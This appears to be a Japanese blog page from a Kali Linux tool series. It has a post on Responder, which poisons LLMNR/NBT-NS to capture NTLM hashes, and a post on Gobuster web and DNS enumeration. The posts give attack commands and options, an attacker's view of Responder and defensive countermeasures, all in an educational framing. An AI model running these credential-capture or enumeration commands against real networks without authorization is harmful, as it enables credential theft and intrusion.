ラベル Kali Linux の投稿を表示しています。 すべての投稿を表示
ラベル Kali Linux の投稿を表示しています。 すべての投稿を表示

Kali Tools #014|Responder:内部ネットワークで認証情報を引き出す定番ツール

 

※本記事は学習用途・自己所有環境のみを対象とし、他者環境への無断スキャンは不正アクセス禁止法に該当します。

サイバー攻撃というと、インターネットに公開されたWebサーバーやVPN装置が狙われるイメージを持つ人も多いかもしれません。しかし、実際の侵入事例を見ていくと、攻撃の主戦場は必ずしも「外部」だけではありません

社内ネットワーク、いわゆるLANの内部には、利便性を優先した結果として残り続けている古いプロトコルや設定が存在します。それらは日常業務では問題にならない一方で、攻撃者にとっては極めて扱いやすい入口になります。

Responderは、そうした内部ネットワークの弱点を突き、ユーザーの操作をほとんど伴わずに認証情報を取得できてしまうことを可視化するツールです。脆弱性を直接突くわけではなく、プロトコルの仕様と運用上の甘さを利用する点が、このツールの特徴と言えます。

本記事では、Kali Linuxに標準搭載されているResponderを題材に、なぜ内部ネットワークで認証情報が漏れ得るのか、どのような環境でリスクが顕在化するのかを整理します。あわせて、攻撃手法の紹介にとどまらず、防御や設計見直しの観点で何を考えるべきかについても触れていきます。

Responderは「侵入を成功させるためのツール」であると同時に、内部ネットワークの健全性を測るリトマス試験紙でもあります。取得できた情報そのものよりも、「なぜそれが取得できてしまったのか」を理解することが、本記事の目的です。


Responderとは何か

Responderは、内部ネットワーク上で発生する名前解決通信の挙動を悪用し、認証情報を取得するためのツールです。Kali Linuxに標準搭載されており、特にWindows環境やActive Directoryを含むネットワークの侵入検証において、非常に高い頻度で利用されています。

一般的な攻撃ツールが「脆弱性を突く」ことを目的とするのに対し、Responderが狙うのはプロトコルの仕様と運用上の前提です。設定ミスやゼロデイ脆弱性を必要とせず、ネットワーク内に存在するだけで攻撃が成立する点が特徴と言えます。

Responderが注目するのは、DNSによる名前解決に失敗した際に利用される補助的なプロトコルです。具体的には、LLMNR(Link-Local Multicast Name Resolution)NBT-NS(NetBIOS Name Service) といった仕組みが対象となります。これらは、利便性を高める目的で導入されたものであり、現在でも多くの企業ネットワークに残っています。

Responderは、こうした名前解決要求に対して正規サーバーになりすました応答を返すことで、クライアントを誘導します。その結果、クライアントは攻撃者を正規の通信相手だと誤認し、認証処理を開始してしまいます。これにより、NTLM認証に用いられるハッシュ情報などが取得可能となります。

重要なのは、この過程においてユーザーが特別な操作を行う必要がほとんどない点です。ファイルを開かせたり、リンクを踏ませたりといったソーシャルエンジニアリングを用いずとも、日常業務の通信の延長線上で情報が取得されてしまうケースがあります。

このようにResponderは、「侵入を試みるツール」というよりも、そのネットワークがどれだけ安全設計から逸脱しているかを示す可視化ツールと捉える方が適切です。使えてしまう環境そのものが、すでにリスクを内包していると言えるでしょう。


なぜ認証情報が取れてしまうのか

Responderを理解するうえで重要なのは、「なぜこのような手法が成立してしまうのか」をプロトコルの視点から把握することです。ここでは、Windows環境における名前解決の仕組みを整理しながら、その背景を見ていきます。


名前解決はDNSだけではない

多くの人は、ホスト名やサーバー名の解決はDNSだけで行われていると考えがちです。しかし、Windows環境ではDNSに加えて、複数の補助的な名前解決プロトコルが存在します。

代表的なものが、LLMNR(Link-Local Multicast Name Resolution)NBT-NS(NetBIOS Name Service) です。これらは、DNSサーバーに問い合わせができない場合や、ローカルネットワーク内で迅速に名前解決を行うために利用されます。

問題は、DNSでの名前解決に失敗した後も、これらのプロトコルが自動的に使用される点にあります。ユーザーや管理者が明示的に操作しなくても、OSが内部的に処理を続行してしまうため、意識されにくい領域となっています。


LLMNR・NBT-NSの設計上の前提

LLMNRやNBT-NSは、「信頼できるローカルネットワーク」を前提として設計されています。そのため、これらのプロトコルには応答元が正規サーバーであるかを検証する仕組みがほとんど存在しません

具体的には、クライアントはネットワーク上に対して「この名前のサーバーは存在しますか?」という問い合わせを投げ、最初に返ってきた応答を信じてしまいます。この挙動自体は仕様どおりであり、脆弱性というよりも設計思想の問題と言えます。

Responderはこの点を突き、正規サーバーよりも早く応答を返すことで、通信相手になりすますことを可能にします。


認証情報が送信される理由

クライアントが攻撃者を正規のサーバーだと誤認すると、次に行われるのが認証処理です。Windows環境では、SMBやHTTP通信において、NTLM認証が利用されるケースが多くあります。

このときクライアントは、ユーザー名やパスワードそのものではなく、NTLMハッシュ情報を用いて認証を試みます。Responderはこのやり取りを受け取り、ログとして保存します。

重要なのは、この一連の流れがユーザーの操作とは無関係に発生する点です。ファイル共有へのアクセス、プリンタ探索、スクリプトの実行など、日常業務の延長で認証通信が発生し、その結果として情報が取得されてしまいます。


「取れた=突破された」ではないが

ここで注意すべきなのは、Responderによって取得されるのはあくまで認証用のハッシュ情報であり、即座にパスワードが漏洩したことを意味するわけではない点です。

しかし、ハッシュが取得できるという事実は、

  • ネットワーク内に攻撃者が存在できる

  • 不正な応答を遮断できていない

  • 認証プロトコルが適切に制御されていない

という複数の問題が同時に存在していることを示しています。

つまり、Responderが成立してしまう環境は、侵入後の横展開や権限昇格に対して非常に脆弱な状態にあると言えます。


Kali LinuxにおけるResponderの位置づけ

Responderは、Kali Linuxに標準で搭載されているツールの中でも、内部ネットワーク侵入検証の初動フェーズを担う代表的な存在です。Webアプリケーション診断や脆弱性スキャンとは異なり、「すでに内部に入った、もしくは入れた」という前提で使用される点が特徴です。


なぜKaliに標準搭載されているのか

Kali Linuxに収録されているツールは、単に攻撃が派手だからという理由では選定されていません。Responderが標準搭載されている理由は、実環境で成立しやすく、再現性が高いという点にあります。

多くの企業ネットワークでは、以下のような条件が揃っています。

  • Windowsクライアントが多数存在する

  • Active Directory環境が運用されている

  • LLMNR / NBT-NS が明示的に無効化されていない

このような環境では、Responderはほぼ設定不要で機能します。Kali側で特別な準備をせずとも、ネットワークの設計や運用の癖がそのまま結果として現れるため、環境診断ツールとしての価値が非常に高いと言えます。


侵入テストにおけるフェーズ上の役割

侵入テストの流れで整理すると、Responderはおおむね次の段階で利用されます。

  1. 初期侵入または内部ネットワークへの到達

  2. ネットワーク内の挙動・設計の把握

  3. 認証情報取得の可能性確認

Responderはこのうち、2〜3の境界に位置するツールです。ポートスキャンや脆弱性診断のように「対象を叩く」のではなく、ネットワークが自ら漏らしてしまう情報を待つという性質を持っています。

そのため、実行するだけで即座に結果が出る場合もあれば、何も起きないこともあります。しかし、何も取得できなかった場合でも、それは「少なくともこの観点では対策が取られている」ことを示す重要な結果です。


後続ツールとの関係

Responder単体で完結するケースは多くありません。取得された情報は、後続の検証フェーズで活用されることが一般的です。

  • 取得したNTLMハッシュを用いたパスワード強度検証

  • 他ホストや他サービスへの横展開可能性の確認

  • 認証方式やポリシー設定の妥当性評価

このように、Responderは侵入後攻撃の起点として位置づけられています。裏を返せば、ここで情報が取得できてしまう環境は、連鎖的にリスクが拡大しやすい状態にあると言えます。


攻撃ツールであり、評価ツールでもある

Kali LinuxにおけるResponderの最大の特徴は、「攻撃ができるかどうか」よりも、設計上の前提がどこまで安全側に寄せられているかを確認できる点にあります。

Responderが成立するかどうかは、

  • ネットワーク設計

  • 認証方式の選択

  • 運用ポリシー

といった複数の要素の積み重ねによって決まります。その意味でResponderは、単なる攻撃ツールではなく、内部ネットワークの成熟度を測る指標として捉えるのが適切でしょう。


Responderの基本的な使い方

Responderは、操作自体は非常にシンプルです。複雑な設定や事前準備を必要とせず、実行するだけでネットワークの状態がそのまま結果に表れる点が、このツールの特徴でもあります。


最小構成での実行

最も基本的な実行方法は、以下のとおりです。

sudo responder -I eth0

-I オプションで、監視対象となるネットワークインターフェースを指定します。無線LANの場合は wlan0、有線LANの場合は eth0 が指定されることが一般的です。

この状態でResponderを起動すると、LLMNR、NBT-NS、mDNS などの名前解決要求を待ち受ける状態になります。特定のホストを狙い撃ちするのではなく、ネットワーク内で自然に発生する通信を受動的に観測・介入するというスタンスです。


よく使われるオプション

実務や検証でよく使われるオプションを組み合わせると、次のようになります。

sudo responder -I eth0 -wFb

主なオプションの意味は以下のとおりです。

  • -w:WPAD(Proxy自動設定)の偽応答を有効化

  • -F:LLMNR/NBT-NS 応答をより積極的に行う

  • -b:SMB認証の取得を有効化

これらのオプションを指定することで、認証情報が送信される可能性を高めることができます。ただし、オプションを増やすほどネットワークへの影響も大きくなるため、検証目的や許可範囲を明確にした上で使用する必要があります。


実行中に起きること

Responderを起動した状態でネットワークに接続していると、以下のようなイベントが発生する可能性があります。

  • クライアントが存在しないホスト名を解決しようとする

  • プリンタ探索やファイル共有への自動アクセスが行われる

  • スクリプトやサービスが定期的に通信を試みる

これらの通信に対してResponderが応答すると、クライアント側は正規サーバーに接続したつもりで認証処理を開始します。その結果、Responderのコンソール上に ユーザー名、ドメイン名、NTLMハッシュ などが表示されます。


「何も起きない」場合の意味

Responderを実行しても、すぐに結果が出ないことは珍しくありません。この場合、「ツールが失敗している」と考えるのは早計です。

  • LLMNR / NBT-NS が無効化されている

  • SMB署名が強制されている

  • ネットワーク設計が比較的堅牢

といった可能性も十分に考えられます。つまり、何も取得できないこと自体が、一定の防御が機能している証拠になるケースもあります。

Responderは、攻撃の成否だけで評価するツールではなく、環境の安全性を測るための試金石として捉えるのが適切です。


実行すると何が取得できるのか

Responderを実行して通信が成立すると、コンソール上にはさまざまな情報が表示されます。ただし、表示される内容を正しく理解していないと、リスクを過大評価したり、逆に見逃したりする原因になります。ここでは、取得される情報の種類と、その意味を整理します。


Responderが取得する情報の正体

Responderによって取得される代表的な情報は、以下のとおりです。

  • ユーザー名

  • ドメイン名

  • 認証に使用されたプロトコル(SMB / HTTP など)

  • NTLM認証に関連するハッシュ情報

重要なのは、Responderが平文のパスワードを直接取得するわけではないという点です。取得されるのはあくまで、NTLM認証に用いられるハッシュ値やチャレンジ・レスポンス情報です。


NTLMv1 と NTLMv2 の違い

Responderのログでは、NTLMv1 または NTLMv2 といった表記を見ることがあります。両者にはセキュリティ上の大きな差があります。

  • NTLMv1
    古い方式であり、計算量的に弱く、現在では使用すべきではないとされています。取得されたハッシュは、比較的短時間でパスワードを特定できる可能性があります。

  • NTLMv2
    NTLMv1に比べて強化されており、即座にパスワードが判明するわけではありません。ただし、依然として攻撃の起点になり得る点は変わりません。

NTLMv2が使われているから安全、というわけではなく、そもそも不正な相手に認証情報が送信されているという事実が問題になります。


取得できた=侵入成功ではない

Responderの出力を初めて見ると、「認証情報が漏洩した」「すでに侵入された」と感じてしまうかもしれません。しかし、ここで一度冷静に整理する必要があります。

Responderが示しているのは、

  • 認証要求が発生した

  • 不正な応答を遮断できなかった

  • 認証プロトコルがネットワーク内で露出している

という事実です。
即座にシステムが突破されたことを意味するわけではありません。

ただし、これらの条件が揃っている環境では、侵入後の攻撃が連鎖的に進みやすくなります。Responderは、その「最初の歪み」を可視化しているに過ぎません。


ログが示す本当の意味

Responderのログで本当に注目すべきなのは、取得されたハッシュそのものよりも、次の点です。

  • どの端末が

  • どのタイミングで

  • どのプロトコルを使って

  • 認証を試みたのか

これらは、ネットワークの設計や運用を見直すための重要な材料になります。たとえば、想定外の端末が頻繁に認証を試みている場合や、不要なサービスが動作している場合、それ自体がリスク要因です。

Responderは「盗むためのツール」ではなく、ネットワークが自ら漏らしている情報を観測するツールだと捉える方が、本質に近いでしょう。


攻撃者視点で見たResponder

攻撃者の立場で見ると、Responderは非常に“都合の良い”ツールです。理由は単純で、コストが低く、成功条件が緩く、失敗しても痕跡が目立ちにくいからです。


なぜ初動で使われるのか

侵入テストや実際の攻撃シナリオにおいて、Responderはしばしば初期段階で実行されます。その背景には、次のような事情があります。

  • 脆弱性を突く必要がない

  • 標的ホストを特定する必要がない

  • 成功すれば次の攻撃につながる情報が得られる

つまり、「何も失わずに試せる」ツールなのです。
ネットワークに接続できた時点で実行する価値があり、準備や下調べをほとんど必要としません。


ユーザー操作を必要としない強み

多くの攻撃手法は、ユーザーにメールを開かせる、リンクを踏ませる、ファイルを実行させるといった工程を必要とします。しかしResponderは、ユーザーの意思決定を介在させずに結果が出る可能性があります。

  • プリンタ探索

  • ファイル共有への自動接続

  • サービスやスクリプトの定期通信

こうした「日常的な挙動」がそのまま攻撃成立条件になるため、成功率が環境依存でありながらも決して低くありません。


横展開の起点としての価値

Responder単体で完結する攻撃は多くありませんが、横展開の起点としての価値は非常に高いと言えます。

  • どのユーザーが

  • どの端末から

  • どの認証方式で

通信しているかが分かるだけでも、攻撃者にとっては大きなヒントになります。特に、管理者権限を持つアカウントや、複数端末で使い回されている認証情報が見えた場合、次の手が打ちやすくなります。


「静かに失敗できる」点も重要

Responderが攻撃者に好まれる理由の一つに、失敗しても騒ぎになりにくい点があります。

  • ポートスキャンのように大量の通信を発生させない

  • 明確なエラーやクラッシュを引き起こさない

  • ログ上は通常の通信と区別しにくい場合がある

このため、攻撃者は「とりあえず動かして様子を見る」という使い方ができます。成功すれば次に進み、何も起きなければ別の手段に切り替えるだけです。


攻撃者が見ているのは「設計の隙」

攻撃者にとってResponderは、「強引にこじ開ける道具」ではありません。ネットワーク設計の隙間を探すセンサーに近い存在です。

Responderが機能するという事実は、

  • 内部通信を信用しすぎている

  • 古い前提が残ったまま運用されている

  • 防御が境界型に偏っている

といった構造的な問題を示しています。攻撃者はそこを起点に、より深い侵入へと進んでいきます。


防御者視点で見たResponder

Responderは攻撃者にとって有用なツールである一方、防御者にとっては内部ネットワークの設計や運用の甘さを可視化する指標になります。重要なのは、Responderを「止める」こと自体よりも、なぜ成立してしまうのかを理解し、構造的に潰すことです。


技術的対策の基本

Responderが成立する最大の要因は、LLMNRやNBT-NSといった補助的な名前解決プロトコルが有効になっている点にあります。これらは、現代の企業ネットワークでは必須とは言えません。

代表的な技術的対策は以下のとおりです。

  • LLMNRの無効化
    グループポリシーを用いて無効化することで、Responderの成立条件を大きく削ぐことができます。

  • NBT-NSの無効化
    NetBIOS over TCP/IP を不要な端末では無効にします。

  • SMB署名の強制
    SMB通信に署名を必須とすることで、中間者による認証情報取得を困難にします。

  • NTLMの利用制限
    NTLMv1の無効化、NTLM自体の利用範囲制限は、Responder後続のリスクを大きく下げます。

これらはいずれも新しい技術ではありませんが、運用負荷や互換性の問題から後回しにされがちな対策でもあります。


運用・監視の観点

技術的にすべてを完全に防ぐことが難しい場合でも、検知できる状態にしておくことは非常に重要です。

防御側が注目すべきポイントには、次のようなものがあります。

  • 不審なLLMNR / NBT-NS 応答の増加

  • 想定外の端末が名前解決応答を返している

  • SMB認証失敗や再試行の頻発

EDRやIDS/IPS製品の中には、Responder特有の挙動をシグネチャとして検知できるものもあります。重要なのは、「内部だから安全」という前提を置かないことです。


Responderをどう位置づけるべきか

防御者の立場では、Responderを単なる攻撃ツールとして忌避するのではなく、定期的な点検ツールとして活用する考え方も有効です。

  • 内部侵入を想定した演習

  • 新拠点・新セグメント追加時の健全性確認

  • ADポリシー変更後の影響確認

このような場面でResponderを実行し、「何も起きない」ことを確認できる状態が理想です。


「境界防御だけ」では足りない理由

Responderが成立する環境では、多くの場合、

  • 外部境界の防御には力を入れている

  • 内部通信は信頼している

という構造が見られます。しかし、内部侵入を前提とした攻撃が一般化した現在、この前提はすでに通用しません。

Responderは、ゼロトラスト的な設計思想の必要性を端的に示すツールとも言えます。内部であっても疑い、検証し、制御する。その発想がなければ、同様の手法は形を変えて繰り返されます。


Responderが使えてしまう環境の問題点

Responderが機能してしまう環境は、「たまたま設定が甘かった」という単純な話では終わりません。多くの場合、ネットワーク設計や運用方針そのものに共通した傾向が存在します。


「昔から動いている」を疑わない設計

LLMNRやNBT-NSが有効なまま残っている環境では、次のような判断が積み重なっているケースが少なくありません。

  • 以前から問題なく動いている

  • 無効化すると業務影響が出そう

  • どこで使われているか分からない

これらはいずれも現場では理解できる判断ですが、結果として不要になった前提が温存され続けることになります。Responderは、そうした“過去の判断の蓄積”を一気に表面化させます。


内部通信を信頼しすぎている

Responderが成立する最大の前提は、内部ネットワークは安全であるという暗黙の信頼です。

  • 内部端末は攻撃者になり得ない

  • 内部通信は改ざんされない

  • 内部認証は盗聴されない

こうした前提が残っている限り、名前解決や認証プロトコルは最低限の防御しか施されません。しかし実際には、マルウェア感染端末や不正接続機器など、内部に攻撃者が存在する可能性は常にあります


設計と運用の分断

Responderが有効な環境では、設計と運用が分断されているケースも目立ちます。

  • 設計時点では想定されていなかった使われ方

  • 運用中に追加された端末やセグメント

  • セキュリティ設定の例外運用の積み重ね

これらが重なると、誰も全体像を把握できない状態になります。その結果、「どこまでが安全で、どこからが危険か」が曖昧になり、Responderのようなツールが容易に成立してしまいます。


Responderは結果ではなく“兆候”

重要なのは、Responderが成功したかどうかそのものではありません。
Responderが使えてしまうこと自体が、すでに兆候であるという点です。

  • 内部通信の信頼モデルが古い

  • 認証方式の見直しが追いついていない

  • 攻撃後の展開を想定していない

こうした構造的な問題は、Responderを塞いだだけでは解決しません。別の手法、別のプロトコル、別のツールによって、同じ本質が再び突かれる可能性があります。


本当に問うべきこと

Responderが示しているのは、「このツールをどう防ぐか」ではなく、

  • なぜ内部でなりすましが成立するのか

  • なぜ認証情報がネットワーク上に露出するのか

  • どこまでを信頼し、どこからを疑うべきか

という、設計思想そのものへの問いです。

この問いに答えられない限り、内部侵入を前提とした攻撃に対して、十分な耐性を持つことは難しいでしょう。


まとめ

Responderは、強力な攻撃ツールであると同時に、内部ネットワークの設計思想を映し出す鏡のような存在です。脆弱性を突くのではなく、プロトコルの仕様と運用上の前提を利用するという点に、このツールの本質があります。

本記事で見てきたとおり、Responderによって取得されるのはパスワードそのものではありません。しかし、認証情報が不正な相手に送信されてしまう環境は、侵入後の横展開や権限昇格に対して脆弱な状態にあります。重要なのは、「何が取れたか」ではなく、「なぜ取れてしまったのか」を理解することです。

Responderが成立するかどうかは、

  • 内部ネットワークをどこまで信頼しているか

  • 古いプロトコルや前提が残っていないか

  • 認証と通信を適切に制御できているか

といった設計・運用の積み重ねの結果です。たとえ今回の検証で何も取得できなかったとしても、それは環境が一定の防御水準に達していることを示す、重要な成果と言えるでしょう。

Responderを単なる「危険なツール」として遠ざけるのではなく、内部侵入を前提とした健全性チェックの手段として捉えることが重要です。定期的な検証を通じて、自組織のネットワークがどの前提の上に成り立っているのかを見直すきっかけにすべきでしょう。


▼ 関連記事(Kali Toolsシリーズ)


▼ 関連記事(blog.b-son.net)

Kali Tools #013|Gobuster:ディレクトリ・DNS・VHostを高速探索する定番ツール

 

※本記事は学習用途・自己所有環境のみを対象とし、他者環境への無断スキャンは不正アクセス禁止法に該当します。

Kali Linuxに含まれるツールの多くは、「攻撃用」「解析用」といった単純なラベルでは語れません。重要なのは、それぞれのツールがどのフェーズで、何を明らかにするために使われるのかです。

Gobusterは、その中でも「探索(列挙)」という地味だが極めて重要な役割を担うツールです。Webサイトやサーバは、見えているものだけで構成されているとは限りません。公開設定の漏れや使われていないはずのディレクトリ、想定外の仮想ホストなどは、表からは確認できないまま残っていることが多くあります。

Gobusterは、そうした「見えていないリソース」を高速に洗い出すためのツールです。攻撃者にとっては侵入口を探すための手段であり、防御側にとっては自分たちの公開範囲を確認するためのチェック手段でもあります。

本記事では、Gobusterがどのような思想で作られ、Kali Linuxの中でどのような位置づけにあるツールなのかを整理しながら、その本質的な役割を解説していきます。


Gobusterとは何か

Gobusterは、WebサーバやDNSに対して既知の単語リスト(ワードリスト)を用いたブルートフォース型の探索を行うツールです。主な目的は、ディレクトリやファイル、サブドメイン、仮想ホストといった「表からは見えないリソース」を洗い出すことにあります。

Webサイトは、トップページやリンクで辿れる範囲だけが全てではありません。管理用ディレクトリ、過去に使われていたファイル、設定ミスにより残されたバックアップなどが、意図せず公開されたままになっているケースは少なくありません。Gobusterは、そうしたリソースの存在を機械的かつ高速に列挙するために使われます。

Gobusterの特徴は、その割り切った設計にあります。脆弱性を直接突くツールではなく、「何が存在しているか」を淡々と確認することに特化しています。そのため、結果として得られるのは侵入そのものではなく、次の判断に使うための材料です。この点で、Gobusterは偵察フェーズに位置づけられるツールだと言えます。

また、GobusterはGo言語で実装されており、高速な並列処理が可能です。大量のリクエストを短時間で投げることができるため、対象が限定されている状況では非常に効率よく探索を進められます。一方で、探索結果の質はワードリストに大きく依存するため、「何を探したいのか」を意識した使い方が求められます。

Gobusterは攻撃者専用のツールではありません。防御側が自組織のWeb資産を棚卸しし、想定外に公開されているリソースがないかを確認する用途でも有効です。攻撃と防御の境界ではなく、「見える状態にするためのツール」として理解することが、Gobusterを正しく使うための第一歩と言えるでしょう。


Gobusterの歴史と開発背景

Gobusterは、WebアプリケーションやDNSの偵察フェーズを効率化する目的で開発されたツールです。登場当初から一貫して重視されてきたのは、「余計な機能を持たず、列挙処理を高速に行う」という設計思想でした。

従来、ディレクトリ探索やサブドメイン列挙には、複数のツールやスクリプトを使い分ける必要があり、処理速度や安定性に課題がありました。Gobusterはそうした課題を解消するため、Go言語を採用し、並列処理を前提とした軽量な構造で実装されています。この選択により、環境差による動作不安定さが少なく、高速かつ再現性の高い探索が可能になりました。

また、Gobusterは単なる「ディレクトリ総当たりツール」として設計されたわけではありません。開発の過程で、DNSサブドメイン探索や仮想ホスト探索といった機能が追加され、「名前を列挙して存在を確認する」という共通概念のもとに整理されてきました。この結果、現在のGobusterは、探索対象は異なっても同じ操作感で使えるツールへと進化しています。

セキュリティツールの世界では、新しいツールが次々に登場する一方で、使われなくなるものも少なくありません。その中でGobusterが長く定番として残っている理由は、流行りの技法に寄せすぎず、偵察という普遍的な工程に焦点を当て続けてきた点にあります。

Gobusterは「何かを突破するためのツール」ではなく、「状況を把握するためのツール」として成熟してきました。この背景を理解しておくことで、Gobusterをどのタイミングで、どの程度使うべきかが見えてきます。


Kali LinuxにおけるGobusterの位置づけ

Kali Linuxには数多くのセキュリティツールが収録されていますが、Gobusterはその中でも偵察(Reconnaissance)フェーズに特化した列挙系ツールとして位置づけられます。対象システムに対していきなり攻撃を仕掛けるのではなく、「何が存在しているのか」を事前に把握するための役割を担います。

Kali Linuxの典型的な作業フローでは、まずNmapなどでネットワークやポートの全体像を把握し、その後にWebサービスが確認できた段階でGobusterの出番となります。Gobusterは、ポートスキャンの結果を受けて、Web層をもう一段深く掘り下げるためのツールだと言えます。

また、GobusterはWhatWebやWappalyzerのような「技術スタックを識別するツール」とも役割が異なります。これらが「何で作られているか」を調べるのに対し、Gobusterは「どこまで公開されているか」を調べます。技術情報ではなく、リソースの存在そのものに焦点を当てている点が特徴です。

Kali Linuxに標準搭載されている理由も明確です。Gobusterは設定がシンプルで、実行結果が分かりやすく、再現性が高いという特性を持っています。そのため、演習環境から実務に近い検証まで、幅広い場面で扱いやすいツールとなっています。

Gobusterは単体で完結するツールではありません。他の偵察・解析ツールと組み合わせることで真価を発揮します。Kali LinuxにおけるGobusterの位置づけを理解することは、ツール単体の使い方以上に、全体の作業設計を考える上で重要な視点となります。


Gobusterでできること(機能別整理)

Gobusterは、探索対象ごとにモードが分かれており、「名前を列挙して存在を確認する」という共通の仕組みを、異なる対象に適用できるよう設計されています。ここでは代表的な機能を整理します。

まず、最も利用されるのがディレクトリ/ファイル探索(dir)です。Webサーバに対してワードリストを用い、存在するディレクトリやファイルを列挙します。管理画面、バックアップファイル、開発中に使われていたパスなど、リンクされていないリソースを発見する用途で使われます。

次に、DNSサブドメイン探索(dns)があります。これは、wwwadmin といった一般的なサブドメイン名を総当たりし、名前解決できるものを洗い出す機能です。Webアプリだけでなく、API用や社内向けに用意されたサブドメインの存在を把握する際に有効です。

さらに、VHost探索(vhost)もGobusterの重要な機能です。同一IPアドレス上で複数の仮想ホストが動作している場合、ホスト名を切り替えてリクエストを送り、応答の差異から有効なVHostを特定します。DNSに登録されていないが、Webサーバ上では有効なホストを見つけられる点が特徴です。

これらの機能に共通するのは、Gobusterが「中身を解析する」ツールではないという点です。レスポンスの有無やステータスコードといった表層的な情報を高速に収集し、次の判断につなげるための材料を集めることに徹しています。

Gobusterは万能ツールではありませんが、探索対象を明確にした上で使えば、短時間で状況を整理できる強力な補助ツールとなります。機能ごとの役割を理解して使い分けることが、効率的な偵察につながります。


Gobusterが「高速」な理由

Gobusterが定番ツールとして評価されている最大の理由の一つが、その処理速度です。同じ目的を持つ探索系ツールと比較しても、Gobusterは短時間で結果を出せる場面が多く、実務でも扱いやすい特性を持っています。

この高速性を支えているのが、Go言語による実装です。Gobusterは最初から並列処理を前提に設計されており、多数のリクエストを同時に投げることができます。これにより、ワードリストが大きい場合でも、探索にかかる時間を大きく短縮できます。

また、Gobusterは機能を絞り込んだ設計になっています。レスポンスの詳細解析やコンテンツの検査といった処理は行わず、「存在するかどうか」という一点に集中します。この割り切りによって、処理のオーバーヘッドが抑えられ、安定した速度が維持されます。

設定項目が比較的シンプルである点も、間接的に速度に寄与しています。不要なオプションを試行錯誤する必要がなく、目的に応じた最低限の設定で実行できるため、ツールの扱いに慣れていなくても効率よく使えます。

ただし、高速であるがゆえに注意すべき点もあります。短時間に大量のリクエストを送信するため、対象環境によっては負荷やログの増加が顕著になります。Gobusterの速度は強みである一方、使う側に配慮と設計判断を求める性能でもあることを理解しておく必要があります。


攻撃にも防御にも使われる理由

Gobusterはしばしば「攻撃ツール」として紹介されますが、その本質は攻撃そのものではなく、情報を可視化するための列挙ツールです。この性質が、攻撃側・防御側のどちらの立場でも利用される理由になっています。

攻撃者の視点では、Gobusterは侵入の足がかりを探すための手段です。公開されているはずのないディレクトリや管理画面、想定外のサブドメインやVHostを見つけることで、次の行動につながる情報を得ることができます。ただし、Gobuster自体が何かを破壊したり、脆弱性を突いたりするわけではありません。

一方、防御側にとってGobusterは、自分たちが何を公開してしまっているのかを確認するためのチェックツールになります。設定変更やシステム更改の後に実行することで、不要なリソースが残っていないか、意図しない公開範囲が広がっていないかを確認できます。外部からどう見えるかを擬似的に再現できる点が重要です。

このように、Gobusterは「攻撃用」「防御用」と単純に分類できるツールではありません。使う目的と文脈によって、その意味合いが変わります。重要なのは、ツールの存在ではなく、どう使い、どう結果を解釈するかです。

Gobusterを理解することは、攻撃手法を学ぶことと同時に、防御の視点を鍛えることにもつながります。攻撃と防御の境界に立つツールだからこそ、Kali Linuxに標準で含まれていると言えるでしょう。


実行例(基本)

Gobusterはコマンドラインから直感的に実行でき、機能ごとにモードを切り替えて利用します。ここでは、代表的な機能について、基本的な実行例とオプションの意味を整理します。


ディレクトリ/ファイル探索(dir)

Webサーバ上に存在するディレクトリやファイルを列挙する、最も基本的な使い方です。

gobuster dir -u http://example.com -w wordlist.txt -t 10 -x php,html -o results.txt

この例では、-u オプションで探索対象のURLを指定し、-w オプションで使用するワードリストを指定しています。
-t はスレッド数を指定するオプションで、ここでは10並列でリクエストを送信します。
-x では探索対象とする拡張子を指定しており、.php.html といったファイルの存在も確認します。
最後に、-o オプションで探索結果をファイルに保存しています。

ディレクトリ探索では、管理画面やバックアップ、開発用パスなどが見つかることがあります。結果の数よりも、用途が推測できるパスが含まれているかに注目することが重要です。


DNSサブドメイン探索(dns)

ドメイン配下のサブドメインを総当たりで確認する場合は、dnsモードを使用します。

gobuster dns -d example.com -w subdomains.txt -t 20 -o dns_results.txt

-d で対象ドメインを指定し、-w でサブドメイン用のワードリストを指定します。
ディレクトリ探索と同様に、-t で並列数を調整し、結果は -o でファイルに保存しています。

この探索により、Webサイトとして公開されていないAPI用や管理用のサブドメインが見つかることがあります。防御側の視点では、把握できていなかった公開点の確認として有効です。


VHost探索(vhost)

同一IPアドレス上で稼働している仮想ホストを調べる場合は、vhostモードを使用します。

gobuster vhost -u http://192.0.2.1 -w vhosts.txt -o vhost_results.txt
この例では、IPアドレスを直接指定し、Host ヘッダを切り替えながらリクエストを送信します。
DNSに登録されていないが、Webサーバ上では有効な仮想ホストが存在する場合、ここで検出されます。

VHost探索は、検証環境や内部向けに用意されたWebサイトがそのまま残っているケースを発見しやすく、設定管理の確認という観点でも重要な機能です。


Gobusterの実行例から分かる通り、操作自体は非常に単純ですが、結果の解釈には文脈が必要です。

Gobusterは「答えを出すツール」ではなく、判断材料を揃えるためのツールであることを意識して使う必要があります。


Gobuster利用時の注意点

Gobusterは非常に高速で扱いやすいツールですが、その特性ゆえに注意すべき点もいくつか存在します。結果を正しく解釈し、意図しないトラブルを避けるためにも、事前に理解しておくことが重要です。

まず注意すべきなのは、負荷とログへの影響です。Gobusterは短時間に大量のリクエストを送信するため、対象サーバに一定の負荷を与えます。また、WebサーバやWAF、IDS/IPSのログには明確に痕跡が残ります。検証環境や許可された範囲で実行することを前提とし、本番環境では実行タイミングやスレッド数に配慮が必要です。

次に、結果の過信は禁物という点です。Gobusterで検出されたパスやホストが、必ずしも脆弱性やリスクを意味するわけではありません。認証が適切にかかっている場合や、実害のない静的リソースであるケースも多くあります。検出結果はあくまで「存在確認」であり、評価や判断は別工程になります。

ワードリスト依存のツールであることも重要なポイントです。Gobusterは、指定したワードリストに含まれない名称を見つけることはできません。そのため、結果が出なかった場合でも「何も存在しない」と断定することはできず、ワードリストの選定次第で結果が大きく変わることを理解しておく必要があります。

また、環境によっては誤検知が発生することもあります。すべてのリクエストに対して同じレスポンスを返す設定や、カスタムエラーページを使用している場合、存在しないパスが「存在するように見える」ことがあります。ステータスコードやレスポンスサイズなどを併せて確認し、冷静に見極める姿勢が求められます。

Gobusterは便利で強力なツールですが、「速いからとりあえず回す」という使い方は危険です。目的、対象、影響範囲を整理した上で実行することが、Gobusterを正しく、安全に使うための前提条件となります。


どんな場面で使うべきツールか

Gobusterは、すべての状況で使う万能ツールではありません。強みがはっきりしているからこそ、使うべき場面と使わない判断を明確にすることが重要です。

まず、Gobusterが最も力を発揮するのは、対象がある程度絞り込めている状況です。Nmapなどでポートやサービスの存在が確認でき、Webサービスが稼働していることが分かった段階で使うと、探索の効率が大きく高まります。闇雲に広範囲を探す用途には向いていません。

